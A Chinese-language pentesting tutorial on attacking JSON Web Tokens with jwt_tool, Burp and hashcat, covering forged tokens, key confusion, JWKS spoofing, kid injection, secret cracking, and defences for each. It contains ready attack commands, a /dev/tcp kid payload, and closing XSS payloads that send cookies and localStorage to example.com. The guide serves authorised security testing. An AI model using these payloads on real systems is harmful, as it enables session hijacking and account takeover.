JSON Web Token(JWT)對於滲透測試人員而言可能是一種非常吸引人的攻擊途徑,因為它們不僅是讓你獲得無限訪問權限的關鍵,而且還被視為隱藏了通往以下特權的途徑:特權升級,信息泄露,SQLi,XSS,SSRF,RCE,LFI等 ,可能還有更多!
攻擊令牌的過程顯然取決於您正在測試的JWT配置和實現的情況,但是在測試JWT時,通過對目標服務的Web請求中使用的Token進行讀取,篡改和簽名,可能遇到已知的攻擊方式以及潛在的安全漏洞和配置錯誤,使JWT攻擊變得切實可行。
第一章:JSON Web令牌簡介
JSON Web Token(JWT)是一個開放標准(RFC 7519),用於在雙方之間安全地表示聲明。
JWT是一種無狀態的認證機制,通常用於授權和信息交換。
JSON Web 令牌結構
JSON Web令牌以緊湊的形式由三部分組成,這些部分由點(.
)分隔,分別是:
- 頭部(Header)
- 有效載荷(Payload)
- 簽名(Signature)
因此,JWT通常如下所示。
頭部(Header)xxxxx.yyyyy.zzzzz
頭部用於描述關於該JWT的最基本的信息,通常由兩部分組成:令牌的類型(即JWT)和所使用的簽名算法。
例如:
然后,此JSON被Base64Url編碼以形成JWT的第一部分。{ "alg": "HS256", "typ": "JWT" }
有效載荷(Payload)
令牌的第二部分是載荷,放置了 token 的一些基本信息,以幫助接受它的服務器來理解這個 token。同時還可以包含一些自定義的信息,用戶信息交換。
載荷示例可能是:
然后,對載荷進行Base64Url編碼,以形成JSON Web令牌的第二部分。{ "sub": "1234567890", "name": "John Doe", "admin": true }
簽名(Signature)
要創建簽名部分,您必須獲取編碼的頭部,編碼的有效載荷,密鑰,頭部中指定的算法,並對其進行簽名。
例如,如果要使用HMAC SHA256算法,則將通過以下方式創建簽名:
簽名用於驗證消息在整個過程中沒有更改,並且對於使用私鑰進行簽名的令牌,它還可以驗證JWT的發送者是它所說的真實身份。HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
放在一起
輸出是三個由點分隔的Base64-URL字符串,可以在HTML和HTTP環境中輕松傳遞這些字符串,與基於XML的標准(例如SAML)相比,它更緊湊。
下圖顯示了一個JWT,它已對先前的標頭和有效負載進行了編碼,並用一個秘密進行了簽名。
第二章:jwt_tool使用
安裝jwt_tool
是使用本機Python 3庫編寫的,與任何可能已經利用的JWT庫沒有任何依賴關系。
唯一的依賴關系是加密過程,例如簽名和驗證RSA / ECDSA / PSS令牌,生成和重建公共/私人密鑰,以及其他一些實際任務。
如果您不打算使用這些功能,則可以按原樣使用該工具。
要獲取一個jwt_tool簡單的git副本,將其從終端克隆到您的系統中:
$ git clone https://github.com/ticarpi/jwt_tool
要執行加密任務,您只需要安裝PyCryptodome(作為一個獨立的庫)即可;去表演 :
$ pip3 install pycryptodomex
基本用法:
運行jwt_tool並查看用法信息:
$ python3 jwt_tool.py -h
處理令牌並啟動交互式菜單:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po
啟動閱讀器/解碼器:
$ python3 jwt_tool.py JWT_HERE -R
啟動eXplorer(確定潛在的弱項):
$ python3 jwt_tool.py JWT_HERE -X
根據公鑰驗證令牌:
$ python3 jwt_tool.py JWT_HERE -V -pk my_public.pem
開始以交互方式篡改標頭,有效負載和簽名:
$ python3 jwt_tool.py JWT_HERE -T
常見攻擊
嘗試破解密鑰(HMAC算法):
$ python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
嘗試使用已知的公鑰對不對稱密碼(RS-,EC-,PS-)進行“密鑰混淆”攻擊:
$ python3 jwt_tool.py JWT_HERE -K -pk my_public.pem
嘗試使用“無”算法來創建未驗證的令牌:
$ python3 jwt_tool.py JWT_HERE -A
處理JSON Web密鑰存儲文件,重建公共密鑰,然后測試密鑰以查看驗證令牌的密鑰:
$ python3 jwt_tool.py JWT_HERE -J -jw jwks.json
生成一個新的RSA密鑰對,將公鑰作為JSON Web密鑰存儲對象注入令牌,並使用私鑰對令牌簽名:
$ python3 jwt_tool.py JWT_HERE -I
欺騙遠程JWKS:生成新的RSA密鑰對,將提供的URL注入令牌,將公共密鑰導出為JSON Web密鑰存儲對象(以提供的URL進行服務),並使用私鑰對令牌簽名:
$ python3 jwt_tool.py JWT_HERE -S -u http://example.com/jwks.json
第三章:攻擊方法
下面介紹了用於檢查Web應用程序或API上的JWT的工作流程。
測試令牌可以通過多種方式完成,但是關鍵部分是您需要一種發送HTTP請求並讀取完整的顯式響應的方式,建議使用“攔截代理”工具。
配置
- 安裝攔截代理
- 將您的瀏覽器設置為對所有HTTP(S)請求使用代理
- 安裝代理的SSL證書(如果使用HTTPS連接)
- 根據需要使用目標站點,確保在攔截代理的歷史記錄中可以看到流量。
工作流程
以下步驟大致按順序進行,其中一些測試基於先前的測試結果。因此,請按順序進行。
步驟一:識別令牌
首要目標是識別該應用程序正在使用JWT。最簡單的方法是在代理工具的歷史記錄中搜索JWT正則表達式:
步驟二:識別測試頁[= ]ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* -網址安全的JWT版本 [= ]ey[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]* -所有JWT版本(誤報的可能性更高)
從這一點開始,我們將重放令牌並尋找響應請求中的變化以發現問題。找到要使用的基本請求很重要,該基本請求可提供有用的響應,該響應清楚表明令牌是否仍然有效。一個很好的例子是網站上的“個人資料”頁面,因為我們只有在被授權通過有效的JWT進行訪問時才能訪問此頁面。
步驟三:重放令牌
捕獲JWT之后,我們可以在相同的上下文中將其重播回應用程序。這將產生與原始令牌相同的結果。
為此,選擇包含令牌的頁面加載請求,然后選擇重放它(在Burp中單擊鼠標右鍵,然后選擇Send to Repeater),如果響應不同,則令牌可能已過期,或者某些其他情況可能導致令牌無效。挖掘一下以確定問題所在。您需要可重復且可驗證的響應才能繼續。
步驟四:有效
從請求中刪除令牌並觀察結果-結果是否已更改?
是否需要令牌? - 對很好!進行下一步
- 不-也許JWT不是此應用程序上的授權手段。檢查其他標頭,Cookie或POST數據,這些數據可能會繼續保留該會話。您可能仍然可以使用令牌進行操作,因此請繼續。
步驟五:檢查
刪除簽名的最后幾個字符。是否:返回錯誤,失敗或成功?
是否檢查令牌? - 如果出現錯誤消息,則正在檢查簽名-閱讀任何可能泄漏敏感內容的詳細錯誤信息。
- 如果返回的頁面不同,則正在檢查簽名。
- 如果頁面相同,則不檢查簽名-是時候開始篡改有效負載聲明,以查看您可以做什么!
步驟六:持久性
重新發送同一令牌多次,穿插不發送令牌,或者一次發送無效簽名(從令牌末尾刪除一個或兩個字符)。每次發送有效令牌后,它是否繼續工作?
令牌是否持久? - 是的-令牌保持靜態,這是常見的行為。但是,如果相同的JWT在注銷后或持續很長時間后仍然有效,則這可能表示不朽的令牌。請確保在大約24小時內重新測試該令牌,並在令牌永不過期的情況下進行報告。
- 否-令牌已過期,或已被應用程序無效。一些系統經常使令牌失效,或者只是在正常的HTTP響應中向您發送新令牌,或者可以以編程方式調用“刷新令牌” API端點來檢索新令牌。這可能意味着您需要經常切換基本測試令牌,因此在發送被篡改的令牌之前,請務必對其進行重新檢查。
步驟七:起源
檢查令牌在代理請求歷史記錄中的起源。應該在服務器而不是客戶端上創建它。 - 如果首先看到它是從客戶端發出的,則客戶端代碼可以訪問該密鑰 -尋求它!
- 如果第一次看到它來自服務器,那么一切都很好。
步驟八:查看索賠處理順序
更改直接在頁面上反映或處理的任何有效載荷索償,但保持簽名不變。更改后的值是否得到處理?
示例: 如果有效負載包含個人資料圖片網址或某些文本
(例如{“ login”:“ ticarpi”,“ image”:“ https://ticarpi.com/profile.jpg ”,“ about”:“我的個人資料頁面。“})
然后調整地址以查看頁面中是否反映了新圖像,或者調整文本以查看響應中是否有更改。
在jwt_tool中進行篡改: 進入篡改模式: python3 jwt_tool.py [token] -T
- 按照菜單篡改各種聲明
- 最后,選擇保留此令牌的原始簽名
- 如果更改被接受,則應用程序將在簽名驗證之前(或與之無關)處理這些更改。看看您是否可以篡改任何重要的內容。
- 如果未反映出更改,那么將按正確的順序處理JWT聲明。
步驟九:弱HMAC密鑰
HMAC簽名密鑰(例如HS256 / HS384 / HS512)使用對稱加密,這意味着對令牌進行簽名的密鑰也用於對其進行驗證。通常,這些設置為簡單的密碼短語/密碼。
由於簽名驗證是一個自包含的過程,因此可以測試令牌本身的有效密碼,而不必將其發送回應用程序進行驗證。
因此,HMAC JWT破解是完全脫機的事務,攻擊者可以在GREAT SCALE上執行。
存在許多用於JWT破解的工具,jwt_tool
也不例外。這對於快速檢查已知的泄漏密碼列表或默認密碼很有用。
在-d dictionary.txt參數旁邊使用jwt_tool的-C標志來嘗試針對字典文件中的所有單詞驗證密鑰
這種方法很有用,但是由於JWT通常是應用程序的關鍵,因此建議使用更強大的測試策略,即使用hashcat通過多種可用技術利用高度並行化的破解嘗試。確實,如果您具有兼容的GPU,則可以以每秒數億個猜測的速度利用帶有hashcat的破解JWT!考慮到這一點,在繼續研究此方法的其余部分時,值得在hashcat中啟動各種測試。
Hashcat命令: - 字典攻擊:
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
- 基於規則的攻擊:
hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
- 蠻力攻擊:
hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
一種有用的破解方法: - 具有常見默認密碼列表的字典攻擊
- 帶有“泄露密碼”單詞表的字典攻擊
- 從目標網站(和相關Wiki頁面?)上抓取的單詞進行有針對性的字典攻擊
- 使用目標字典進行規則攻擊
- 使用狹窄的焦點進行暴力攻擊(例如?u?l?l?l?l?l?l?l?l-增量式)
- 使用龐大的單詞表進行規則攻擊
- 使用廣泛的焦點進行長時間的蠻力攻擊(例如“ a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a-a -i-增量- min = 6)
如果您可以破解HMAC機密,則可以偽造令牌中的任何內容。這可能是一個嚴重漏洞。
測試已知漏洞(使用jwt_tool)
有關JWT庫中已知漏洞的一些考慮因素是,它們是試圖使偽造令牌被應用程序接受。當我們的攻擊更改了要簽名的內容時,它也會使現有簽名無效。
因此,我們將現有令牌有效負載值與相關攻擊方法一起使用進行測試。
如果攻擊成功,我們的偽造令牌將被驗證並使用原始值。
換句話說,如果您使用有效令牌以“ user1”身份登錄,並且嘗試使用alg:none攻擊並保留所有有效載荷數據並且將其注銷,則該攻擊將不起作用。
如果您保持登錄狀態,那么您的攻擊就成功了,您可以開始使用“有效負載”值來查看現在可以進行調整以獲取特權或其他有益結果的內容。
測試漏洞-‘none’算法(CVE-2015-9235):
設置沒有簽名的“ alg”:“ none”,但是不要更改有效載荷-頁面是否仍返回有效?
使用jwt_tool的-A標志切換算法並放棄簽名
- 如果頁面返回有效頁面,則表明您有旁路-進行篡改。
測試漏洞-RSA密鑰混淆(CVE-2016-5431):
您將需要RSA公鑰進行測試。有時,應用程序通過API或文檔中隱藏的內容提供此功能。
您還需要使用正確的公鑰格式。如果提供了密鑰,那么就很好,如果沒有,那么最好的猜測是PEM format。請注意,PEM 末尾應包含一個換行符,但是某些工具在導出密鑰時可能會忽略此字符。
將jwt_tool的-V標志與-pk public.pem參數一起使用以驗證找到的公鑰與用於對令牌進行簽名的密鑰
一起使用jwt_tool的-K標志與-pk public.pem參數一起使用以偽造新的攻擊令牌 - 如果頁面返回有效,則表明您有旁路-進行篡改。
測試漏洞-JWKS注入(CVE-2018-0114):
創建一個新的RSA證書對,注入一個包含公鑰詳細信息的JWKS文件,然后使用私鑰對數據簽名。如果成功,則應用程序應使用您提供的密鑰數據進行驗證。
使用jwt_tool的-I標志生成一個新的密鑰對,注入包含公共密鑰的JWKS,並使用私有密鑰對令牌進行簽名 - 如果頁面返回有效,則表明您有旁路-進行篡改。
“kid”問題-揭示關鍵:
如果標頭中使用聲明“ kid”,請檢查該文件的Web目錄或該文件的變體。例如,如果“ kid”:“ key / 12345”,則在Web根目錄下查找/ key / 12345和/key/12345.pem。
“kid”問題-路徑遍歷:
如果標頭中使用聲明“ kid”,請檢查是否可以在文件系統中使用其他文件。選擇一個您可能能夠預測其內容的文件,或者嘗試“ kid”:“ / dev / tcp / yourIP / yourPort以測試連接性,甚至測試某些SSRF負載…
使用jwt_tool的-T標志來篡改JWT並更改孩子索賠的價值,然后選擇保留原始簽名
URL篡改攻擊
對於以下攻擊,您將需要從服務器收集響應。這個想法是您試圖讓服務器跟隨您的鏈接。一個簡單的方法來做到這一點是打嗝的合作者,但許多其他選項的存在取決於你有可用的工具:如果你有一個互聯網路由主機(如Web服務器)與終端接入,您可以使用tcpdump
收集的相互作用:sudo tcpdump -A 'tcp dst port 80' -i eth0
或者您可以在您的網絡服務器上觀看實時HTTP流量日志記錄。例如:tail -f /var/log/apache2/access.log
您甚至可以使用像RequestBin這樣的實時日志記錄服務。
但是,對於Burp用戶而言,Burp Collaborator是一個簡單的選項,只需在Burp菜單中單擊Burp Collaborator客戶端即可。單擊復制到剪貼板以復制當前主機名以注入到測試中。
如果發現在Burp Collaborator中有交互,則應檢查它僅僅是DNS還是實際的HTTP通信。 - DNS可能指示代理或WAF檢查通信是否包含惡意有效負載,或者可能是來自服務器的后續HTTP通信的先驅。
- HTTP訪問通常表明服務正在嘗試進行交互-通常是收集或加載資源,或者發送數據。
測試漏洞-JWKS欺騙
如果令牌使用“ jku”標題聲明,則簽出提供的URL。這應該指向一個包含JWKS文件的URL,該文件包含用於驗證令牌的公共密鑰。篡改令牌,將jku值指向您可以監視其流量的Web服務。
如果獲得HTTP交互,您現在知道服務器正在嘗試從提供的URL加載密鑰。 在-u http://example.com參數旁邊使用jwt_tool的-S標志生成一個新的密鑰對,注入您提供的URL,生成一個包含公鑰的JWKS,並用私鑰對令牌進行簽名。其他攻擊:
以下是應該測試的已知弱點。
跨服務中繼攻擊
一些Web應用程序使用受信任的JWT“服務”為其生成和管理令牌。在過去的某些情況下,為一個JWT服務的客戶端生成的令牌實際上可以被另一個JWT服務的客戶端接受。
如果您發現JWT是通過第三方服務發布或更新的,則值得確定是否可以使用相同的用戶名/電子郵件在該服務的另一個客戶端上注冊一個帳戶。如果是這樣,請嘗試獲取該令牌並在對目標的請求中重播它。被接受了嗎? - 如果您的令牌被接受,那么您可能會遇到嚴重問題,使您可以欺騙任何用戶的帳戶。但是,請注意,如果您正在注冊第三方應用程序,則在進入合法的灰色區域時,可能需要尋求更廣泛的測試權限的許可!
是否檢查了exp?
“ exp”有效負載聲明用於檢查令牌的到期。由於JWT通常在沒有會話信息的情況下使用,因此確實需要謹慎處理-在許多情況下,捕獲和重播其他人的JWT會使您偽裝成該用戶。
緩解JWT重播攻擊的一種方法(由JWT RFC建議)是使用“ exp”聲明來設置令牌的到期時間。同樣重要的是,在應用程序中設置相關檢查,以確保處理此值並且令牌在過期時被拒絕。如果令牌包含“ exp”聲明,並且測試時間限制允許,請嘗試存儲令牌並在過期時間過后重播。 使用jwt_tool的-R標志讀取令牌的內容,其中包括時間戳解析和到期檢查(UTC中的時間戳) - 如果令牌仍在應用程序中驗證,則可能存在安全風險,因為令牌可能永不過期。
進行模糊測試並進一步發展…
現在您已經經歷了已知和常見的攻擊,但是請等待 -這還沒有結束! 每個優秀的應用程序測試人員都知道:應用程序處理的每條用戶提交的數據都可能是攻擊媒介。正如我們所知,我們的令牌權利要求的內容完全控制,所以它的時間去創作…… 起毛能力即將到jwt_tool,但在那之前,和技術建議和方法,檢查了篡改和模糊測試頁面。
第四章:深入研究JWT安全性
第一篇:脆弱索賠
以下是根據相關RFC提出的“官方”或要求的權利要求。在此確定了它們的功能,以及它們可能暴露的任何觀察到的或理論上的漏洞。
標頭聲明
標頭聲明是令牌的“元數據”,告訴應用程序令牌是什么類型,令牌是如何簽名的,簽名密鑰或秘密的存儲位置以及其他詳細信息。
必須在驗證令牌之前對它們進行處理,這就是為什么在Header聲明中發現了大多數JWT庫漏洞的原因。
一些“標准”主張:
| Token | Description | Format |
| ——- | —————————————————————- | —————- |
| typ | 令牌類型 (JWT/JWE/JWS等) | string |
| alg | 用於簽名或加密的算法 | string |
| kid | Key ID - 用作查找 | string |
| x5u | x509證書的URL | URL |
| x5c | 用於簽名的x509證書(作為嵌套的JSON對象) | JSON object |
| jku | JWKS格式鍵的URL | URL |
| jwk | 用於簽名的JWK格式密鑰(作為嵌套的JSON對象) | JSON object |
標頭聲明中的漏洞
- 可以調整引用算法或簽名方法的要求,以強制服務嘗試通過修改的過程來驗證提供的令牌。
- 引用URL的聲明可用於重定向服務以在攻擊者的控制下查詢URL。
- 可以注入包含簽名證書的聲明,以提示服務使用提供的密鑰來驗證令牌。
- 可以修改兒童索賠,以調整/攻擊用於查找/訪問簽名密鑰的位置或方法。
凈荷索賠
有效負載聲明是令牌的特定於應用程序的數據。它們將已編程包含的自定義數據列表傳遞給應用程序。
它們通常在令牌經過驗證后進行處理,這限制了它們在旁路攻擊中的作用。但是,某些應用程序可能會使用某些提供的數據,而不會進行正確的驗證檢查。
如果您找到一種方法來獲得令牌簽名,那么有效負載聲明的內容將為您提供模擬,特權提升,代碼執行或其他攻擊路徑的路徑。
“標准”聲明:
| Token | Description | Format |
| ——- | ————————————————————— | ——————— |
| iss | 令牌的發行人 | string/URL |
| aud | 令牌的受眾:作為令牌預期接收方的用戶或服務 | string/URL |
| sub | 主題:令牌的接收者 | string |
| jti | 令牌的唯一標識符 | string/integer |
| nbf | NotBefore-在該時間戳記之前的UNIX時間戳記 | integer |
| iat | IssueddAt-令牌創建/生效的時間的UNIX時間戳 | integer |
| exp | 過期-令牌應停止有效的時間的UNIX時間戳 | integer |
凈荷索賠中的漏洞 - 可以對帶有URL的聲明進行調整,以在攻擊者的控制下將流量重定向到外部服務。
- 具有時間戳的聲明可能會在驗證之前進行處理,並且可能會進行調整以影響令牌的有效性。
- 補充聲明可能會被應用程序代碼以意外方式訪問,並且可能會通過注入或添加這些字段而引入廣泛的攻擊路徑。
第二篇:已知漏洞和攻擊
有趣的是,所有這些都通過操作標頭值來影響令牌。這主要是因為頭控制如何或用什么令牌進行簽名。攻擊有效負載部分中的目標值可能是特定於平台/服務的,而不是特定於庫的。
在這一點上還值得注意的是(在沒有極其冗長的錯誤的情況下),您不太可能知道哪個JWT庫(更不用說該庫的哪個版本)正在給定服務上簽名令牌。因此,在測試JWT時,我們最好的選擇是嘗試所有技巧,看看是否有任何問題。
JWT庫存在以下CVE:
- CVE-2015-9235 Alg:無攻擊
- CVE-2016-5431密鑰混淆攻擊
- CVE-2018-0114密鑰注入攻擊
其他已知攻擊 - JWKS欺騙
- “kid”注射
- 跨服務中繼攻擊
- 弱密鑰
CVE-2015-9235-Alg:無攻擊
此攻擊針對JWT標准中用於生成無符號密鑰的選項,輸出實際上省略了第二個點之后的任何簽名部分。由於某些庫或服務器配置中的弱點,服務可能會讀取被篡改的請求,請確保不需要對其進行簽名,然后信任地接受它。
示例:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRpY2FycGkifQ.
解構:
{"typ":"JWT","alg":"none"}.
{"login":"ticarpi"}.
[No signature!]
如何抵御這種攻擊? JWT配置應該只指定所需的簽名算法(不要指定“無”!)
CVE-2016-5431-密鑰混淆攻擊
此攻擊的原因是某些庫對簽名/驗證HMAC對稱加密的密鑰和包含用於驗證RSA簽名令牌的公鑰的密鑰使用相同的變量名。
通過將算法調整為HMAC變體(HS256/HS384/HS512)並使用公共可用公鑰對其進行簽名,我們可以欺騙服務使用機密變量中的硬編碼公鑰驗證HMAC令牌。
示例:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.I3G9aRHfunXlZV2lyJvWkZO0I_A_OiaAAQakU_kjkJM
解構:
{"typ":"JWT","alg":"HS256"}.
{"login":"ticarpi"}.
[使用HMAC-SHA256簽名,使用公鑰文件作為密鑰驗證。]
如何抵御這種攻擊?JWT配置應該只允許使用HMAC算法或公鑰算法,決不能同時使用這兩種算法。
CVE-2018-0114-密鑰注入攻擊
此攻擊嘗試了一些JWT庫中不太常用的驗證技術-包含內聯公鑰。
攻擊者可以使用新的私鑰對令牌進行簽名,在令牌中包含公鑰,然后讓服務使用該密鑰驗證令牌。
示例:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJURVNUIiwidXNlIjoic2lnIiwiZSI6IkFRQUIiLCJuIjoidTdzRU00RmlvT3J6ODFPSENBUGRUZjNncUc4dm12NVJOUndTd0t4X3RqMHBsRjlrdmtEUHVMTDRVa3JqTnVCMWNHdU1hanFxR0xTZXpRQ0xBWmRldC0td3FSbVRfVGNVeGtieVZMV1JiUUg5UWNJRVM0UXpuc20yckR0Wnp4U1VHNnVlNzBBRm1EZkdiSkVQMGI5Nkllc0JfNlBTOS1FWXdLXzl5X3ZwRTloZTNNTUo4WEROSVM5amNSUkNqc21DVldQb1BGX01NcUZjZmZfeWZPNDRPQkVSZWdOOHB2b19UX3Bial91ZkU2X1pGek80VUl6QkNzRUR4RE5mZk9RRkdNRzZoaXRjQm8wTmJSUkFVYUY3dmhMYVRkQjNjRXdPLWVoNEZpSm9nRVRMZGxPRVFXRlZCZldLUWh1YWJEU0FnWGZQOUNXbXh1Smg5YzNRX0tMZFF3In19.eyJsb2dpbiI6InRpY2FycGkifQ.jFu8Kewp-tJ4uLVTRm6D5wBkbikNtLufGHa8ZmEutAZyrPETaD5JaLHZ8Mlw6zBxCNKzmAXbEaDGtNoQ6rfIGHwiTwzk2C897HNR-vwTAyHh7lAgixelqrlkAP7OBWEALH_u7QuIDZpu79V4Aur9CzYai9UvaLqsHhFLf4Gwha9CGV68BnO_Cxye_5vRhzcWEPXIAp8DQMHEDovS6NF_CTEvKA8I6jp2nb726m0nLJo-WWKlCF0UNwSGZ3R3A0YFPL-I1Ld6_8W2dIZRKt4PAtEAPde-RIyf9vKWaHsQDaxnI40xxN3IwvkB2-nDUaTLZtVwBBiTEMoUrkoNTY6XKg
解構:
{"typ":"JWT","alg":"RS256","jwk":{"kty":"RSA","kid":"TEST","use":"sig","e":"AQAB","n":"u7sEM4FioOrz81OHCAPdTf3gqG8vmv5RNRwSwKx_tj0plF9kvkDPuLL4UkrjNuB1cGuMajqqGLSezQCLAZdet--wqRmT_TcUxkbyVLWRbQH9QcIES4Qznsm2rDtZzxSUG6ue70AFmDfGbJEP0b96IesB_6PS9-EYwK_9y_vpE9he3MMJ8XDNIS9jcRRCjsmCVWPoPF_MMqFcff_yfO44OBERegN8pvo_T_pbj_ufE6_ZFzO4UIzBCsEDxDNffOQFGMG6hitcBo0NbRRAUaF7vhLaTdB3cEwO-eh4FiJogETLdlOEQWFVBfWKQhuabDSAgXfP9CWmxuJh9c3Q_KLdQw"}}.
{"login":"ticarpi"}.
[Signed with new Private key; Public key injected]
如何防御這種攻擊:JWT配置應該明確定義接受哪些公鑰進行驗證。
JWKS欺騙
此攻擊使用“jku”和“x5u”標頭值,它們指向用於驗證非對稱簽名令牌的JWKS文件或x509證書(通常在JWKS文件中)的URL。通過將“jku”或“x5u”URL替換為包含公鑰的由攻擊者控制的URL,攻擊者可以使用成對的私鑰對令牌進行簽名,並讓服務檢索惡意公鑰並驗證令牌。
示例:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vdGljYXJwaS5jb20vandrcy5qc29uIn0.eyJsb2dpbiI6InRpY2FycGkifQ.FgnNEj7qm6PPQCCL_f6krxcTSg4uKJSOQf2kTNOQQty25o9ON1SkEpuRgbg54TOjBz7hoqCKc9qRP6GcFy4-5vPVh_lk8x9lQmm7A34Bqkmr41Y8oCIKzlxrdqRxm-gVRkrAXti5slICzRijThkTixe2oem4_q4_8jP01jjuVTK-h3h2ZBQ7GvICEbOTv2ffd_IB-EF6Aua4Mt1164SNamvq3XQ58pLRuZCiR2wjoj1rJ8IkND3pRfg-ziYc86RSLEqq44HCQZ9Suq2r9XGrPkKUE30O6hFCrWJYfaQUTAya8PndhxWrgV5WRzIHYA9Br0kQ29q0DUz-GESLRaK2Ww
解構
{"typ":"JWT","alg":"RS256", "jku":"https://ticarpi.com/jwks.json"}.
{"login":"ticarpi"}.
[Signed with new Private key; Public key exported]
要防御此攻擊:JWT配置應該明確定義允許哪些JWKS文件/url。
“kid”注射
此攻擊破壞了應用程序處理密鑰ID值的方式。有些庫使用系統調用(如文件系統查找)或數據庫查詢來提取“kid”頭值中指定的密鑰。通過將惡意數據注入此聲明,攻擊者可以強制應用程序執行任意SQL查詢、系統命令,甚至可以將“密鑰文件”的目標重定向到系統上的已知文件,以強制使用新的密鑰對HMAC令牌進行簽名和解密。
要防御此攻擊:
在應用程序中,應該為“kid”值指定設置參數,並且在處理之前丟棄與此不同的輸入。
跨服務中繼攻擊
一些服務使用外部身份驗證服務,或共享本地身份驗證服務器來生成令牌。如果這些令牌未指定特定的目標服務,則可能注冊一個服務並將令牌重播到另一個服務,並獲得具有不同權限的訪問權限。
要防御此攻擊:
確保所有共享身份驗證服務令牌都包含一個“aud”(訪問群體)聲明,指定令牌的目標群體,或使用其他自定義方法來區分重播的令牌。
弱密鑰
破解的樂趣,當使用HMAC對稱簽名算法時,可以使用各種簡單的CPU破解工具離線破解,或者插入GPU驅動的強力破解設備。如果你使用一個弱的或短的字符串作為密鑰,那么它可能很快就會被破解。
要防御此攻擊:
跳過HMAC簽名並使用非對稱加密,它要更安全一點。如果由於某種原因無法避免HMAC簽名,請確保實現長的隨機密鑰字符串,並定期更換密鑰。
第三篇:查找公鑰
為了嘗試使用非對稱加密的令牌的某些攻擊路徑,我們可能需要找到公鑰,有許多可能的方法。
SSL密鑰重用
在某些情況下,令牌可能會使用網絡服務器的SSL連接的私鑰進行簽名。抓住x509並從SSL中提取公鑰非常簡單:
$ openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem
$ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
API暴露
為了驗證令牌,服務可以通過API端點(例如“ / API / v1 / keys”)公開公鑰。應該列出的位置是API的文檔(如果您有權訪問它們),否則您可能會在代理歷史記錄中看到到此端點的訪問量。
JWKS常見位置
另一種常見的替代方法是在JWKS(JSON Web密鑰存儲)文件中公開密鑰(或密鑰集)。一些常見的位置是:
- /.well-known/jwks.json
- /openid/connect/jwks.json
- /jwks.json
- /api/keys
- /api/v1/keys
JWKS文件的其他位置可能是特定於平台的,因此值得檢查文檔(或通過谷歌搜索)。
來自jku聲明或x5u聲明的URL
有兩個標准的標頭聲明可以將服務定向到公鑰進行驗證: - jku-指向JWKS URL的聲明
- x5u-指向X509證書位置的聲明(可以在JWKS文件中)
從ISS索賠線索
可以暗示公共密鑰位置的另一個聲明是iss有效載荷聲明,它顯示了創建JWT的主體的名稱或URL,它可以是外部服務或API。使用此信息將您的搜索引導到發卡行公鑰的可能位置。
詳細錯誤
最后,您可能只是幸運地發現了應用程序(或外部Issuer)中的詳細錯誤。要嘗試強制錯誤,您應該提交混合的“破損”令牌: - 簽名損壞
- 無效的Base64格式(保留在填充中)
- 無效的Base64模式(使用URL安全,標准,輸出URL編碼)
- 無效的聲明值(錯誤的URL等)
- 無效的算法(“ alg”)
- 無效的JWT類型(“典型”)
- 值模式錯誤(字符串/整數/浮點數/布爾值)
- 嘗試任何您認為可以打破的嘗試!
第四篇:篡改和模糊
篡改
成功利用后,您可以篡改有效載荷數據來嘗試各種攻擊。這些可能包括更改用戶名或用戶ID以接管另一個帳戶,可能正在調整應用程序上的角色列表,可能涉及啟用管理屬性。只需查看可用的聲明,看看您可以如何處理它們。
使用jwt_tool的-T標志進入交互式篡改模式,並破壞標頭和有效載荷聲明以及大量的簽名方法/攻擊
模糊測試
將現有聲明更改為各種值,使它們無效,從int更改為string等都是使服務無法正確解析JWT的好方法。這可能會提示錯誤消息或其他意外結果。
模糊測試對於測試對有效載荷聲明的注入攻擊也很有用:例如XSS和SQLi攻擊。
Fuzzing模式jwt_tool
仍在開發中(具有多種簽名方法的選項),但與此同時,您可以使用Burp Intruder進行以下攻擊:
- 使用JWT將請求加載到Intruder中
- 清除建議的有效負載職位
- Base64解碼JWT的Header或Payload部分
- 突出顯示您希望攻擊的完整解碼聲明,將其復制到剪貼板,然后將其添加為有效負載位置(見圖1.1)。
- 在有效載荷選項卡中,選擇要用於模糊索賠的列表
- 在
有效負載處理
部分下:- 單擊添加按鈕。選擇添加前綴,然后將JWT部分粘貼到您想要模糊的值為止(例如{“ login”:“)
- 單擊添加按鈕。選擇添加后綴,然后將JWT部分粘貼到要模糊的值之后(例如“})
- 單擊添加按鈕。選擇編碼,然后選擇Base64
- 單擊添加按鈕。選擇“ 匹配/替換”,然后在“ 匹配正則表達式”字段中輸入等號(=),並將“ 替換為”字段保留為空白(見圖1.2)。
- 點擊開始攻擊(見圖1.3)
進一步模糊的想法
為什么不通過注入重復的聲明來嘗試參數污染?
也許您可以將索賠從抬頭移到有效載荷塊,反之亦然?
如何注入其他常見要求?
如何為您在應用程序中看到的其他變量或參數添加聲明?
第五篇:竊取JWT
如果您可以竊取並重播JWT,則無需破解JWT !
如果您在應用程序中存在其他漏洞,則可以竊取或劫持其他用戶的令牌。
XSS
通用的cookie竊取程序XSS有效負載將可以訪問以cookie形式存儲的JWT:只要未將cookie設置為HTTPOnly,就可以使用有效負載來竊取LocalStorage或SessionStorage變量的內容。如果JWT存儲在JavaScript變量中,那么您知道名稱也可以竊取它。
例子:
document.location='http://example.com/cookiestealer.php?c='+document.cookie;
new Image().src = 'http://example.com/log.php?localStorage='+JSON.stringify(window['localStorage']);
